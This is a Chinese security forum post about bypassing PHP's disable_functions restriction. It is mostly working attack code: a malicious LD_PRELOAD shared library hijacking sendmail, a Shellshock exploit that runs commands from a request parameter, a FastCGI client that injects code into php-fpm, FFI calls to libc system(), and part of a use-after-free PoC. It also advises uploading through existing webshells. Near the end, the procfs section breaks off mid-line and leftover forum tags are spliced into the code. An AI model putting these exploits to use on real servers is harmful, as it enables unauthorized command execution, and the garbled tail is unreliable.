本帖最后由 chenqiang 于 2022-7-26 11:10 编辑
原文链接:【表哥有话说 第77期】bypass disable_functions
黑名单bypass
命令执行函数/*
- <font color="#5c6370"><i>system函数:
- 功能:执行外部程序,并且显示输出
- 返回值:成功则返回命令输出的最后一行,失败则返回 FALSE
- */</i></font>
- system(<font color="#98c379">"ls"</font>);<font color="#5c6370"><i>/*</i></font>
复制代码- <font color="#5c6370"><i>shell_exec函数:
- 功能:通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
- 返回值:命令执行的输出。如果执行过程中发生错误或者进程不产生输出,则返回 NULL。(当进程执行过程中发生错误,或者进程不产生输出的情况下,都会返回 NULL,所以,使用本函数无法通过返回值检测进程是否成功执行。 如果需要检查进程执行的退出码,请使用 exec() 函数。)
- */</i></font>
- <font color="#c678dd">echo</font> shell_exec(<font color="#98c379">"ls"</font>);
- <font color="#c678dd">echo</font> `ls`;
复制代码- <font color="#5c6370"><i>/*
- exec函数:
- 功能:执行一个外部程序
- 返回值:命令执行结果的最后一行内容。想要获取命令的输出内容,请确保使用output参数。
- */</i></font>
- <font color="#5c6370"><i>//exec(string $command [,array &$output [,int &$return_var ]])</i></font>
- exec(<font color="#98c379">"ls"</font>,$output);print_r($output);
复制代码- <font color="#5c6370"><i>/*
- passthru函数:
- 功能:执行外部程序并且显示原始输出
- 返回值:没有返回值。
- 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system()函数
- */</i></font>
- passthru(<font color="#98c379">"ls"</font>);
复制代码- <font color="#5c6370"><i>/*
- popen函数:
- 功能:打开进程文件指针
- 返回值:返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose() 来关闭。此指针可以用于 fgets(),fgetss() 和 fwrite()。当模式为 'r',返回的文件指针等于命令的STDOUT,当模式为 'w',返回的文件指针等于命令的 STDIN。
- 如果出错返回 FALSE。
- */</i></font>
- $f = @popen(<font color="#98c379">"ls"</font>,<font color="#98c379">"r"</font>);
- $res = <font color="#98c379">""</font>;
- <font color="#c678dd">while</font>(!@feof($f)){
- $res .= @fread($f,<font color="#d19a66">1024</font>);
- }
- @pclose($f);
复制代码- <font color="#5c6370"><i>/*proc_open函数:
- 功能:执行一个命令,并且打开用来输入/输出的文件指针。
- 返回值:返回表示进程的资源类型,当使用完毕之后,请调用proc_close()函数来关闭此资源。如果失败,返回FALSE。
- */</i></font>
- $descriptorspec = <font color="#c678dd">array</font>(
- <font color="#d19a66">0</font> => <font color="#c678dd">array</font>(<font color="#98c379">"pipe"</font>, <font color="#98c379">"r"</font>),
- <font color="#d19a66">1</font> => <font color="#c678dd">array</font>(<font color="#98c379">"pipe"</font>, <font color="#98c379">"w"</font>),
- <font color="#d19a66">2</font> => <font color="#c678dd">array</font>(<font color="#98c379">"pipe"</font>, <font color="#98c379">"w"</font>)
- );
- $process = proc_open(<font color="#98c379">"ls"</font>, $descriptorspec, $pipes, <font color="#c678dd">null</font>, <font color="#c678dd">null</font>);
- fwrite($pipes[<font color="#d19a66">0</font>], <font color="#98c379">'$stdin'</font>);
- fclose($pipes[<font color="#d19a66">0</font>]);
- $res = stream_get_contents($pipes[<font color="#d19a66">1</font>]);
复制代码- <font color="#5c6370"><i>/*pcntl_exec函数:
- 功能:在当前进程空间执行指定程序
- 返回值:当发生错误时返回FALSE ,没有错误时没有返回。
- pcntl_exec(string $path [, array $args [, array $envs ]] )
- $path:可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本(比如文件第一行是#!/usr/local/bin/perl的perl脚本)
- $args:程序的参数的字符串数组。
- $envs:作为环境变量的字符串数组。这个数组是 key => value格式的,key代表要传递的环境变量的名称,value代表该环境变量值。
- */</i></font>
- <font color="#5c6370"><i>//$cmdfile为存放命令的文件地址</i></font>
- <font color="#5c6370"><i>//$outfile为命令结果文件地址</i></font>
- $cmd_arr = <font color="#c678dd">array</font>($cmdfile, $outfile);
- pcntl_exec(<font color="#98c379">"/bin/bash"</font>, <font color="#c678dd">array</font>($cmd_arr[<font color="#d19a66">0</font>]));
- readfile($cmd_arr[<font color="#d19a66">1</font>]);
复制代码- <font color="#5c6370"><i>/*dl函数:
- 功能:运行时载入一个 PHP 扩展
- 返回值:成功时返回 TRUE, 或者在失败时返回 FALSE。 如果加载模块的功能是无效或者禁用的(既可以通过设置关闭 enable_dl 设置,也可以通过启用 php.ini 里的 安全模式)将导致一个 E_ERROR 并中断执行。 如果因为指定的库无法加载而导致 dl() 失败,除了返回 FALSE,还会产生一个 E_WARNING 的消息。
- */</i></font>
- 默认加载php.ini里extension_dir的文件夹里,但是可以利用../带出来
- enable_dl=On方可能用
- 上传恶意php扩展文件,并且用dl函数加载这个文件,然后利用里面的函数执行其他操作,包括系统命令。
- dl()
复制代码
.htaccess调用cgi前提: - apache开启cgi_module
- AllowOverride
- .htaccess文件可写
1.上传.htaccess文件 - Options +ExecCGI
- AddHandler cgi-script .sh
复制代码
2.上传exp.sh文件
- <font color="#61aeee">#!/bin/bash</font>
- <font color="#e6c07b">echo</font>&ls
复制代码
3.访问即可 LD_PRELOADLD_PRELOAD,是个环境变量,用于动态库的加载,动态库加载的优先级最高,一般情况下,其加载顺序为LD_PRELOAD>LD_LIBRARY_PATH>/etc/ld.so.cache>/lib>/usr/lib。 利用LD_RELOAD进行bypass的思路是:将LD_PRELOAD指向恶意.so文件,从而挟持正常函数。
绕过前提: - 能够上传自己的so文件
- 能够控制环境变量的值(如php函数:putenv)
- 存在可以控制php启动外部程序的函数并能执行(如:mail(),imap_mail(),mb_send_mail()和error_log()等)
当执行未被禁止的PHP函数,并且该函数调用了恶意库中重写的系统函数,就可以达到任意执行系统命令的效果了,因为重写的系统函数中的内容是我们可控的,对这部分内容进行编程即可。 PHP中某些函数比如mail()函数调用时,就会调用系统中的sendmail函数,由于LD_PRELOAD中指定加载了恶意的.so文件中覆盖了sendmail函数,所以就会执行重写的sendmail函数中的恶意代码,从而绕过disable_functions,达到任意执行系统命令的效果。1.生成恶意.so文件 以mail函数为例:
- strace -f php -r "mail('','','','');" 2>&1 | grep -E "execve|fork|vfork"
复制代码
查看mail函数有无执行程序或启动新进程。 发现启动了sendmail,然后用readelf -Ws查看sendmail程序的系统函数调用情况。 这里选取getgid。
查看getgid系统函数需要什么头文件和格式,从写出相应的伪造代码
- <font color="#61aeee">#include <stdlib.h></font>
- <font color="#61aeee">#include <stdio.h></font>
- <font color="#61aeee">#include <string.h></font>
- int getgid() {
- unsetenv(<font color="#98c379">"LD_PRELOAD"</font>);
- system(getenv(<font color="#98c379">"cmd"</font>));
- }
- gcc --share -fPIC 1.c -o bad.so
复制代码
从而生成恶意.so文件 这样只需找到能启动新程序的php函数即可。 - <font color="#5c6370"><i>/*GNU C的一大特色就是__attribute__机制,可以设置函数属性(Attribute),变量属性(Variable Attribute)和类型属性(Type Attribute).*/</i></font>
- <font color="#5c6370"><i>/*__attribute__((attribute-list))
- 当参数为constructor时,就可以在加载共享库时运行。
- 当参数为destructor时,会在main()函数执行之后,或exit()函数调用后自动执行。
- */</i></font>
- <font color="#61aeee">#define _GNU_SOURCE</font>
- <font color="#61aeee">#include <stdlib.h></font>
- <font color="#61aeee">#include <stdio.h></font>
- <font color="#61aeee">#include <string.h></font>
- <font color="#c678dd">extern</font> <font color="#c678dd">char</font>** environ;
- __attribute__((__constructor__)) void zxhy (void)
- {
-
- <font color="#c678dd">for</font>(<font color="#c678dd">int</font> i = <font color="#d19a66">0</font>;environ<i>;i ++) {
- <font color="#c678dd">if</font> (<font color="#e6c07b">strstr</font>(environ<i>, <font color="#98c379">"LD_PRELOAD"</font>)) {
- environ<i>[<font color="#d19a66">0</font>] = <font color="#98c379">'\0'</font>;
- }
- }
- system(getenv(<font color="#98c379">"cmd"</font>));
- }
- <font color="#5c6370"><i>/*
- php运行中只要有新程序启动就可执行
- */</i></font></i></i></i>
复制代码
生成动态链接库文件如上 2.上传恶意.so文件 - 连上蚁剑或者菜刀直接上传
- 利用原来存在的shell上传点去上传
- 或写进去一个新的上传点
3.写入php利用脚本 - <font color="#61aeee"><?php</font>
- putenv(<font color="#98c379">"cmd=ls > 1.txt"</font>);
- putenv(<font color="#98c379">"LD_PRELOAD=./bad.so"</font>);
- mail(<font color="#98c379">''</font>,<font color="#98c379">''</font>,<font color="#98c379">''</font>,<font color="#98c379">''</font>);<font color="#5c6370"><i>//函数可换</i></font>
- <font color="#5c6370"><i>//error_log('',1);</i></font>
- <font color="#5c6370"><i>//mb_send_mail函数php-mbstring模块</i></font>
- <font color="#5c6370"><i>//imap_mail函数php-imap模块</i></font>
- <font color="#5c6370"><i>//libvirt_connect函数php-libvirt-php模块</i></font>
- <font color="#5c6370"><i>//gnupg_init函数php-gnupg模块</i></font>
复制代码
4.访问php利用脚本 访问php脚本运行后,可通过访问1.txt来获取执行命令的结果 ShellShock(CVE-2014-6271)前提: - 允许用户定义环境变量
- 服务会调用bash(创建bash子进程)
- 服务调用子bash时加载了用户定义的环境变量
bash 4.3及以前会将以"(){"开头的环境变量解析为函数,解析后bash不会退出,会继续执行.故而可构造payload达到命令执行. 所以可以利用php的putenv函数
- putenv(<font color="#98c379">"PHP_XXX=() { x; }; ls > 1.txt "</font>);
- mb_send_mail(<font color="#98c379">''</font>,<font color="#98c379">''</font>,<font color="#98c379">''</font>);
复制代码
访问1.txt即可得到ls的内容 exploit-db上的脚本: - <font color="#5c6370"><i># Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)</i></font>
- <font color="#5c6370"><i># Google Dork: none</i></font>
- <font color="#5c6370"><i># Date: 10/31/2014</i></font>
- <font color="#5c6370"><i># Exploit Author: Ryan King (Starfall)</i></font>
- <font color="#5c6370"><i># Vendor Homepage: <a href="http://php.net" target="_blank">http://php.net</a></i></font>
- <font color="#5c6370"><i># Software Link: <a href="http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror" target="_blank">http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror</a></i></font>
- <font color="#5c6370"><i># Version: 5.* (tested on 5.6.2)</i></font>
- <font color="#5c6370"><i># Tested on: Debian 7 and CentOS 5 and 6</i></font>
- <font color="#5c6370"><i># CVE: CVE-2014-6271</i></font>
- <pre>
- <font color="#61aeee"><?php</font> <font color="#c678dd">echo</font> <font color="#98c379">"Disabled functions: "</font>.ini_get(<font color="#98c379">'disable_functions'</font>).<font color="#98c379">"n"</font>; <font color="#61aeee">?></font>
- <font color="#61aeee"><?php</font>
- function shellshock($cmd) { <font color="#5c6370"><i>// Execute a command via CVE-2014-6271 @ mail.c:283</i></font>
- <font color="#c678dd">if</font>(strstr(readlink(<font color="#98c379">"/bin/sh"</font>), <font color="#98c379">"bash"</font>) != <font color="#c678dd">FALSE</font>) {
- $tmp = tempnam(<font color="#98c379">"."</font>,<font color="#98c379">"data"</font>);
- putenv(<font color="#98c379">"PHP_LOL=() { x; }; $cmd >$tmp 2>&1"</font>);
- <font color="#5c6370"><i>// In Safe Mode, the user may only alter environment variables whose names</i></font>
- <font color="#5c6370"><i>// begin with the prefixes supplied by this directive.</i></font>
- <font color="#5c6370"><i>// By default, users will only be able to set environment variables that</i></font>
- <font color="#5c6370"><i>// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty,</i></font>
- <font color="#5c6370"><i>// PHP will let the user modify ANY environment variable!</i></font>
- mail(<font color="#98c379">"a@127.0.0.1"</font>,<font color="#98c379">""</font>,<font color="#98c379">""</font>,<font color="#98c379">""</font>,<font color="#98c379">"-bv"</font>); <font color="#5c6370"><i>// -bv so we don't actually send any mail</i></font>
- }
- <font color="#c678dd">else</font> <font color="#c678dd">return</font> <font color="#98c379">"Not vuln (not bash)"</font>;
- $output = @file_get_contents($tmp);
- @unlink($tmp);
- <font color="#c678dd">if</font>($output != <font color="#98c379">""</font>) <font color="#c678dd">return</font> $output;
- <font color="#c678dd">else</font> <font color="#c678dd">return</font> <font color="#98c379">"No output, or not vuln."</font>;
- }
- <font color="#c678dd">echo</font> shellshock($_REQUEST[<font color="#98c379">"cmd"</font>]);
- <font color="#61aeee">?></font>
复制代码
php-fpm fsockopen与pfsockopen函数功能一样 利用灵活,应用范围广 配置文件地址(可查fpm端口):
- /usr/<font color="#e6c07b">local</font>/etc/php-fpm.d/www.conf
复制代码
查看phpinfo,Server API为FPM/FastCGI 跑p神的脚本或用蚁剑的插件。本质是通过fastcgi协议直接与php-fpm交流。
- usage: fpm.py [-c CODE] [-p PORT] host file
复制代码- <font color="#c678dd">import</font> socket
- <font color="#c678dd">import</font> random
- <font color="#c678dd">import</font> argparse
- <font color="#c678dd">import</font> sys
- <font color="#c678dd">from</font> io <font color="#c678dd">import</font> BytesIO
- <font color="#5c6370"><i># Referrer: <a href="https://github.com/wuyunfeng/Python-FastCGI-Client" target="_blank">https://github.com/wuyunfeng/Python-FastCGI-Client</a></i></font>
- PY2 = <font color="#56b6c2">True</font> <font color="#c678dd">if</font> sys.version_info.major == <font color="#d19a66">2</font> <font color="#c678dd">else</font> <font color="#56b6c2">False</font>
- def bchr(i):
- <font color="#c678dd">if</font> PY2:
- <font color="#c678dd">return</font> force_bytes(chr(i))
- <font color="#c678dd">else</font>:
- <font color="#c678dd">return</font> bytes(<i>)
- def bord(c):
- <font color="#c678dd">if</font> isinstance(c, int):
- <font color="#c678dd">return</font> c
- <font color="#c678dd">else</font>:
- <font color="#c678dd">return</font> ord(c)
- def force_bytes(s):
- <font color="#c678dd">if</font> isinstance(s, bytes):
- <font color="#c678dd">return</font> s
- <font color="#c678dd">else</font>:
- <font color="#c678dd">return</font> s.encode(<font color="#98c379">'utf-8'</font>, <font color="#98c379">'strict'</font>)
- def force_text(s):
- <font color="#c678dd">if</font> issubclass(type(s), str):
- <font color="#c678dd">return</font> s
- <font color="#c678dd">if</font> isinstance(s, bytes):
- s = str(s, <font color="#98c379">'utf-8'</font>, <font color="#98c379">'strict'</font>)
- <font color="#c678dd">else</font>:
- s = str(s)
- <font color="#c678dd">return</font> s
- class FastCGIClient:
- <font color="#98c379">"""A Fast-CGI Client for Python"""</font>
- <font color="#5c6370"><i># private</i></font>
- __FCGI_VERSION = <font color="#d19a66">1</font>
- __FCGI_ROLE_RESPONDER = <font color="#d19a66">1</font>
- __FCGI_ROLE_AUTHORIZER = <font color="#d19a66">2</font>
- __FCGI_ROLE_FILTER = <font color="#d19a66">3</font>
- __FCGI_TYPE_BEGIN = <font color="#d19a66">1</font>
- __FCGI_TYPE_ABORT = <font color="#d19a66">2</font>
- __FCGI_TYPE_END = <font color="#d19a66">3</font>
- __FCGI_TYPE_PARAMS = <font color="#d19a66">4</font>
- __FCGI_TYPE_STDIN = <font color="#d19a66">5</font>
- __FCGI_TYPE_STDOUT = <font color="#d19a66">6</font>
- __FCGI_TYPE_STDERR = <font color="#d19a66">7</font>
- __FCGI_TYPE_DATA = <font color="#d19a66">8</font>
- __FCGI_TYPE_GETVALUES = <font color="#d19a66">9</font>
- __FCGI_TYPE_GETVALUES_RESULT = <font color="#d19a66">10</font>
- __FCGI_TYPE_UNKOWNTYPE = <font color="#d19a66">11</font>
- __FCGI_HEADER_SIZE = <font color="#d19a66">8</font>
- <font color="#5c6370"><i># request state</i></font>
- FCGI_STATE_SEND = <font color="#d19a66">1</font>
- FCGI_STATE_ERROR = <font color="#d19a66">2</font>
- FCGI_STATE_SUCCESS = <font color="#d19a66">3</font>
- def __init__(self, host, port, timeout, keepalive):
- self.host = host
- self.port = port
- self.timeout = timeout
- <font color="#c678dd">if</font> keepalive:
- self.keepalive = <font color="#d19a66">1</font>
- <font color="#c678dd">else</font>:
- self.keepalive = <font color="#d19a66">0</font>
- self.sock = <font color="#56b6c2">None</font>
- self.requests = dict()
- def __connect(self):
- self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- self.sock.settimeout(self.timeout)
- self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, <font color="#d19a66">1</font>)
- <font color="#5c6370"><i># if self.keepalive:</i></font>
- <font color="#5c6370"><i># self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)</i></font>
- <font color="#5c6370"><i># else:</i></font>
- <font color="#5c6370"><i># self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)</i></font>
- <font color="#c678dd">try</font>:
- self.sock.connect((self.host, int(self.port)))
- <font color="#c678dd">except</font> socket.error <font color="#c678dd">as</font> msg:
- self.sock.close()
- self.sock = <font color="#56b6c2">None</font>
- print(repr(msg))
- <font color="#c678dd">return</font> <font color="#56b6c2">False</font>
- <font color="#c678dd">return</font> <font color="#56b6c2">True</font>
- def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
- length = len(content)
- buf = bchr(FastCGIClient.__FCGI_VERSION) \
- + bchr(fcgi_type) \
- + bchr((requestid >> <font color="#d19a66">8</font>) & <font color="#d19a66">0xFF</font>) \
- + bchr(requestid & <font color="#d19a66">0xFF</font>) \
- + bchr((length >> <font color="#d19a66">8</font>) & <font color="#d19a66">0xFF</font>) \
- + bchr(length & <font color="#d19a66">0xFF</font>) \
- + bchr(<font color="#d19a66">0</font>) \
- + bchr(<font color="#d19a66">0</font>) \
- + content
- <font color="#c678dd">return</font> buf
- def __encodeNameValueParams(self, name, value):
- nLen = len(name)
- vLen = len(value)
- record = <font color="#98c379">b''</font>
- <font color="#c678dd">if</font> nLen < <font color="#d19a66">128</font>:
- record += bchr(nLen)
- <font color="#c678dd">else</font>:
- record += bchr((nLen >> <font color="#d19a66">24</font>) | <font color="#d19a66">0x80</font>) \
- + bchr((nLen >> <font color="#d19a66">16</font>) & <font color="#d19a66">0xFF</font>) \
- + bchr((nLen >> <font color="#d19a66">8</font>) & <font color="#d19a66">0xFF</font>) \
- + bchr(nLen & <font color="#d19a66">0xFF</font>)
- <font color="#c678dd">if</font> vLen < <font color="#d19a66">128</font>:
- record += bchr(vLen)
- <font color="#c678dd">else</font>:
- record += bchr((vLen >> <font color="#d19a66">24</font>) | <font color="#d19a66">0x80</font>) \
- + bchr((vLen >> <font color="#d19a66">16</font>) & <font color="#d19a66">0xFF</font>) \
- + bchr((vLen >> <font color="#d19a66">8</font>) & <font color="#d19a66">0xFF</font>) \
- + bchr(vLen & <font color="#d19a66">0xFF</font>)
- <font color="#c678dd">return</font> record + name + value
- def __decodeFastCGIHeader(self, stream):
- header = dict()
- header[<font color="#98c379">'version'</font>] = bord(stream[<font color="#d19a66">0</font>])
- header[<font color="#98c379">'type'</font>] = bord(stream[<font color="#d19a66">1</font>])
- header[<font color="#98c379">'requestId'</font>] = (bord(stream[<font color="#d19a66">2</font>]) << <font color="#d19a66">8</font>) + bord(stream[<font color="#d19a66">3</font>])
- header[<font color="#98c379">'contentLength'</font>] = (bord(stream[<font color="#d19a66">4</font>]) << <font color="#d19a66">8</font>) + bord(stream[<font color="#d19a66">5</font>])
- header[<font color="#98c379">'paddingLength'</font>] = bord(stream[<font color="#d19a66">6</font>])
- header[<font color="#98c379">'reserved'</font>] = bord(stream[<font color="#d19a66">7</font>])
- <font color="#c678dd">return</font> header
- def __decodeFastCGIRecord(self, buffer):
- header = buffer.read(int(self.__FCGI_HEADER_SIZE))
- <font color="#c678dd">if</font> <font color="#c678dd">not</font> header:
- <font color="#c678dd">return</font> <font color="#56b6c2">False</font>
- <font color="#c678dd">else</font>:
- record = self.__decodeFastCGIHeader(header)
- record[<font color="#98c379">'content'</font>] = <font color="#98c379">b''</font>
-
- <font color="#c678dd">if</font> <font color="#98c379">'contentLength'</font> <font color="#c678dd">in</font> record.keys():
- contentLength = int(record[<font color="#98c379">'contentLength'</font>])
- record[<font color="#98c379">'content'</font>] += buffer.read(contentLength)
- <font color="#c678dd">if</font> <font color="#98c379">'paddingLength'</font> <font color="#c678dd">in</font> record.keys():
- skiped = buffer.read(int(record[<font color="#98c379">'paddingLength'</font>]))
- <font color="#c678dd">return</font> record
- def request(self, nameValuePairs={}, post=''):
- <font color="#c678dd">if</font> <font color="#c678dd">not</font> self.__connect():
- print(<font color="#98c379">'connect failure! please check your fasctcgi-server !!'</font>)
- <font color="#c678dd">return</font>
- requestId = random.randint(<font color="#d19a66">1</font>, (<font color="#d19a66">1</font> << <font color="#d19a66">16</font>) - <font color="#d19a66">1</font>)
- self.requests[requestId] = dict()
- request = <font color="#98c379">b""</font>
- beginFCGIRecordContent = bchr(<font color="#d19a66">0</font>) \
- + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
- + bchr(self.keepalive) \
- + bchr(<font color="#d19a66">0</font>) * <font color="#d19a66">5</font>
- request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
- beginFCGIRecordContent, requestId)
- paramsRecord = <font color="#98c379">b''</font>
- <font color="#c678dd">if</font> nameValuePairs:
- <font color="#c678dd">for</font> (name, value) <font color="#c678dd">in</font> nameValuePairs.items():
- name = force_bytes(name)
- value = force_bytes(value)
- paramsRecord += self.__encodeNameValueParams(name, value)
- <font color="#c678dd">if</font> paramsRecord:
- request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
- request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, <font color="#98c379">b''</font>, requestId)
- <font color="#c678dd">if</font> post:
- request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
- request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, <font color="#98c379">b''</font>, requestId)
- self.sock.send(request)
- self.requests[requestId][<font color="#98c379">'state'</font>] = FastCGIClient.FCGI_STATE_SEND
- self.requests[requestId][<font color="#98c379">'response'</font>] = <font color="#98c379">b''</font>
- <font color="#c678dd">return</font> self.__waitForResponse(requestId)
- def __waitForResponse(self, requestId):
- data = <font color="#98c379">b''</font>
- <font color="#c678dd">while</font> <font color="#56b6c2">True</font>:
- buf = self.sock.recv(<font color="#d19a66">512</font>)
- <font color="#c678dd">if</font> <font color="#c678dd">not</font> len(buf):
- <font color="#c678dd">break</font>
- data += buf
- data = BytesIO(data)
- <font color="#c678dd">while</font> <font color="#56b6c2">True</font>:
- response = self.__decodeFastCGIRecord(data)
- <font color="#c678dd">if</font> <font color="#c678dd">not</font> response:
- <font color="#c678dd">break</font>
- <font color="#c678dd">if</font> response[<font color="#98c379">'type'</font>] == FastCGIClient.__FCGI_TYPE_STDOUT \
- <font color="#c678dd">or</font> response[<font color="#98c379">'type'</font>] == FastCGIClient.__FCGI_TYPE_STDERR:
- <font color="#c678dd">if</font> response[<font color="#98c379">'type'</font>] == FastCGIClient.__FCGI_TYPE_STDERR:
- self.requests[<font color="#98c379">'state'</font>] = FastCGIClient.FCGI_STATE_ERROR
- <font color="#c678dd">if</font> requestId == int(response[<font color="#98c379">'requestId'</font>]):
- self.requests[requestId][<font color="#98c379">'response'</font>] += response[<font color="#98c379">'content'</font>]
- <font color="#c678dd">if</font> response[<font color="#98c379">'type'</font>] == FastCGIClient.FCGI_STATE_SUCCESS:
- self.requests[requestId]
- <font color="#c678dd">return</font> self.requests[requestId][<font color="#98c379">'response'</font>]
- def __repr__(self):
- <font color="#c678dd">return</font> <font color="#98c379">"fastcgi connect host:{} port:{}"</font>.format(self.host, self.port)
- <font color="#c678dd">if</font> __name__ == <font color="#98c379">'__main__'</font>:
- parser = argparse.ArgumentParser(description=<font color="#98c379">'Php-fpm code execution vulnerability client.'</font>)
- parser.add_argument(<font color="#98c379">'host'</font>, help=<font color="#98c379">'Target host, such as 127.0.0.1'</font>)
- parser.add_argument(<font color="#98c379">'file'</font>, help=<font color="#98c379">'A php file absolute path, such as /usr/local/lib/php/System.php'</font>)
- parser.add_argument(<font color="#98c379">'-c'</font>, <font color="#98c379">'--code'</font>, help=<font color="#98c379">'What php code your want to execute'</font>, default=<font color="#98c379">'<?php phpinfo(); exit; ?>'</font>)
- parser.add_argument(<font color="#98c379">'-p'</font>, <font color="#98c379">'--port'</font>, help=<font color="#98c379">'FastCGI port'</font>, default=<font color="#d19a66">9000</font>, type=int)
- args = parser.parse_args()
- client = FastCGIClient(args.host, args.port, <font color="#d19a66">3</font>, <font color="#d19a66">0</font>)
- params = dict()
- documentRoot = <font color="#98c379">"/"</font>
- uri = args.file
- content = args.code
- params = {
- <font color="#98c379">'GATEWAY_INTERFACE'</font>: <font color="#98c379">'FastCGI/1.0'</font>,
- <font color="#98c379">'REQUEST_METHOD'</font>: <font color="#98c379">'POST'</font>,
- <font color="#98c379">'SCRIPT_FILENAME'</font>: documentRoot + uri.lstrip(<font color="#98c379">'/'</font>),<font color="#5c6370"><i>#important</i></font>
- <font color="#98c379">'SCRIPT_NAME'</font>: uri,
- <font color="#98c379">'QUERY_STRING'</font>: <font color="#98c379">''</font>,
- <font color="#98c379">'REQUEST_URI'</font>: uri,
- <font color="#98c379">'DOCUMENT_ROOT'</font>: documentRoot,
- <font color="#98c379">'SERVER_SOFTWARE'</font>: <font color="#98c379">'php/fcgiclient'</font>,
- <font color="#98c379">'REMOTE_ADDR'</font>: <font color="#98c379">'127.0.0.1'</font>,
- <font color="#98c379">'REMOTE_PORT'</font>: <font color="#98c379">'9985'</font>,
- <font color="#98c379">'SERVER_ADDR'</font>: <font color="#98c379">'127.0.0.1'</font>,
- <font color="#98c379">'SERVER_PORT'</font>: <font color="#98c379">'80'</font>,
- <font color="#98c379">'SERVER_NAME'</font>: <font color="#98c379">"localhost"</font>,
- <font color="#98c379">'SERVER_PROTOCOL'</font>: <font color="#98c379">'HTTP/1.1'</font>,
- <font color="#98c379">'CONTENT_TYPE'</font>: <font color="#98c379">'application/text'</font>,
- <font color="#98c379">'CONTENT_LENGTH'</font>: <font color="#98c379">"%d"</font> % len(content),
- <font color="#98c379">'PHP_VALUE'</font>: <font color="#98c379">'auto_prepend_file = php://input'</font>,
- <font color="#98c379">'PHP_ADMIN_VALUE'</font>: <font color="#98c379">'allow_url_include = On'</font>
- }
- response = client.request(params, content)
- print(force_text(response))</i>
复制代码
FFI 方法非常灵活,可以看一下手册 https://www.php.net/manual/en/class.ffi.php - <font color="#61aeee"><?php</font>
- $ffi = FFI::cdef(
- <font color="#98c379">"int system(const char *command);"</font>,
- <font color="#98c379">"libc.so.6"</font>);
- $ffi->system(<font color="#98c379">"id"</font>);
- <font color="#61aeee">?></font>
复制代码
或者 - <font color="#61aeee"><?php</font>
- $ffi = FFI::cdef(
- <font color="#98c379">"int system(const char *command);"</font>,
- <font color="#98c379">"/var/www/html/bad.so"</font>);
- <font color="#61aeee">?></font>
复制代码
bad.so源代码可以写
- <font color="#61aeee">#include <stdlib.h></font>
- __attribute__((constructor)) void xxx(){
- system(<font color="#98c379">"ls"</font>);
- }
复制代码
phpbug 根据实际情况可以微调代码 关注最新bug procfts-bypass backtrace-bypass:7.0-7.4 gc-bypass:7.0-7.3 json-bypass:7.1-7.3 procfs_bypass
- <div><i><i><i><i><font color="#61aeee"><?php</font></i></i></i></i></div><i><i><i><i>
- <font color="#5c6370"><i>/*
- $libc_ver:
- beched@linuxoid ~ $ php -r 'readfile("/proc/self/maps");' | grep libc
- 7f3dfa609000-7f3dfa7c4000 r-xp 00000000 08:01 9831386 /lib/x86_64-linux-gnu/libc-2.19.so
- $open_php:
- beched@linuxoid ~ $ objdump -R /usr/bin/php | grep '\sopen
- [i][i][i][i][b][size=20px]backtrace
- [/size][/b][code]<font color="#61aeee"><?php</font>
- <font color="#5c6370"><i># PHP 7.0-7.4 disable_functions bypass PoC (*nix only)</i></font>
- <font color="#5c6370"><i>#</i></font>
- <font color="#5c6370"><i># Bug: <a href="https://bugs.php.net/bug.php?id=76047" target="_blank">https://bugs.php.net/bug.php?id=76047</a></i></font>
- <font color="#5c6370"><i># debug_backtrace() returns a reference to a variable </i></font>
- <font color="#5c6370"><i># that has been destroyed, causing a UAF vulnerability.</i></font>
- <font color="#5c6370"><i>#</i></font>
- <font color="#5c6370"><i># This exploit should work on all PHP 7.0-7.4 versions</i></font>
- <font color="#5c6370"><i># released as of 30/01/2020.</i></font>
- <font color="#5c6370"><i>#</i></font>
- <font color="#5c6370"><i># Author: <a href="https://github.com/mm0r1" target="_blank">https://github.com/mm0r1</a></i></font>
- pwn(<font color="#98c379">"uname -a"</font>);
- function pwn($cmd) {
- <font color="#c678dd">global</font> $abc, $helper, $backtrace;
- class Vuln {
- <font color="#c678dd">public</font> $a;
- <font color="#c678dd">public</font> function __destruct() {
- <font color="#c678dd">global</font> $backtrace;
- <font color="#c678dd">unset</font>(<font color="#c678dd">$this</font>->a);
- $backtrace = (<font color="#c678dd">new</font> <font color="#c678dd">Exception</font>)->getTrace(); <font color="#5c6370"><i># ;)</i></font>
- <font color="#c678dd">if</font>(!<font color="#c678dd">isset</font>($backtrace[<font color="#d19a66">1</font>][<font color="#98c379">'args'</font>])) { <font color="#5c6370"><i># PHP >= 7.4</i></font>
- $backtrace = debug_backtrace();
- }
- }
- }
- class Helper {
- <font color="#c678dd">public</font> $a, $b, $c, $d;
- }
- function str2ptr(&$str, $p = 0, $s = 8) {
- $address = <font color="#d19a66">0</font>;
- <font color="#c678dd">for</font>($j = $s<font color="#d19a66">-1</font>; $j >= <font color="#d19a66">0</font>; $j--) {
- $address <<= <font color="#d19a66">8</font>;
- $address |= ord($str[$p+$j]);
- }
- <font color="#c678dd">return</font> $address;
- }
- function ptr2str($ptr, $m = 8) {
- $out = <font color="#98c379">""</font>;
- <font color="#c678dd">for</font> ($i=<font color="#d19a66">0</font>; $i < $m; $i++) {
- $out .= chr($ptr & <font color="#d19a66">0xff</font>);
- $ptr >>= <font color="#d19a66">8</font>;
- }
